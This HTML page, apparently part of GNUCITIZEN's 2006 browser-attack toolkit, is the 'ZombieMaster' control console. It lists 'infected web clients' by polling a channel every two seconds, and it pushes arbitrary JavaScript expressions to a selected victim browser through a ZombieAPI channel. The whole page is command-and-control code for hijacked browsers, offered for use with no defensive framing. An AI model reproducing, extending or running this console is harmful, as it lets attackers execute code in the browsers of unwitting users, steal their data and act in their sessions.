<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
		<link rel="stylesheet" href="styles/screen.css" type="text/css"/>
		<script src="scripts/jquery.js" type="text/javascript"></script>
		<script src="scripts/init.js" type="text/javascript"></script>
		<title>title</title>
	</head>
	<body id="ZombieMaster">
		<h1 id="header">title</h1>
		<ul id="navigation"></ul>
		
		<div class="message"><span>ZombieMaster is a special type of interface that provides bi-directional persistent interactive comunication with infected web clients. The channel must be of a type similar to the one found <a href="../inf/channel.php">here</a>. The messages sent must be valid JavaScript expressions.</span></div>
		<form name="channelForm">
			<label for="channel">channel:</label>
			<input name="channel" type="text" size="50"/>
			<input name="setChannel" value="Set Channel" type="button"/>
		</form>
		<form name="masterForm">
			<label for="clients">clients</label><br/>
			<select name="clients"></select><br/>
			<layer for="message">message</layer><br/>
			<textarea name="message" cols="50" rows="10"></textarea><br/>
			<input name="pushMessage" value="Push Message" type="button"/>
		</form>
		
		<script src="../lib/ZombieAPI/ZombieAPI.js" type="text/javascript"></script>
		<script src="../lib/ZombieAPI/Channel.js" type="text/javascript"></script>
		<script type="text/javascript">
			var channel = ZombieAPI.Channel.createInteractiveChannel(null);
			channel.callbacks.list = function (clients) {
				var clientsSelect = $('select[@name="clients"]').get(0);
				var selectedIndex = clientsSelect.selectedIndex;
				
				clientsSelect.innerHTML = '';
				
				for (var index = 0; index < clients.length; index++) {
					clientsSelect.options.add(new Option(clients[index], clients[index]));
				}
				
				clientsSelect.selectedIndex = selectedIndex;
			};
			
			setInterval(channel.list, 2000);
			
			$('form[@name="masterForm"]').hide();
			
			$('input[@name="setChannel"]').click(function () {
				var channelLocation = $('input[@name="channel"]').attr('value');
				var message = $('.message span').html();
				
				if (!channelLocation)
					return;
				
				$('.message span').fadeOut(null, function() {
					$(this).html('Sellected channel: ' + channelLocation + '. <a href="#">change</a>');
					
					channel.location = channelLocation;
					
					$('.message span a').click(function () {
						$(this).parent().fadeOut(null, function () {
							$(this).html(message);
							
							channel.location = null;
							
							$(this).fadeIn();
							$('form[@name="masterForm"]').fadeOut(null, function () {
								$('form[@name="channelForm"]').fadeIn();
							});
						});
						return false;
					});
					$(this).fadeIn();
				});
				$('form[@name="channelForm"]').fadeOut(null, function () {
					$('form[@name="masterForm"]').fadeIn();
				});
			});
			
			$('input[@name="pushMessage"]').click(function () {
				var message = $('textarea[@name="message"]').attr('value');
				
				if (!message)
					return;
				
				var clients = $('select[@name="clients"]').get(0);
				channel.push(clients.options[clients.selectedIndex].value, message);
			});
		</script>
		
		<p id="footer"><a href="http://www.gnucitizen.org">GNUCITIZEN</a> &copy; 2006 all rights reserved</p>
	</body>
</html>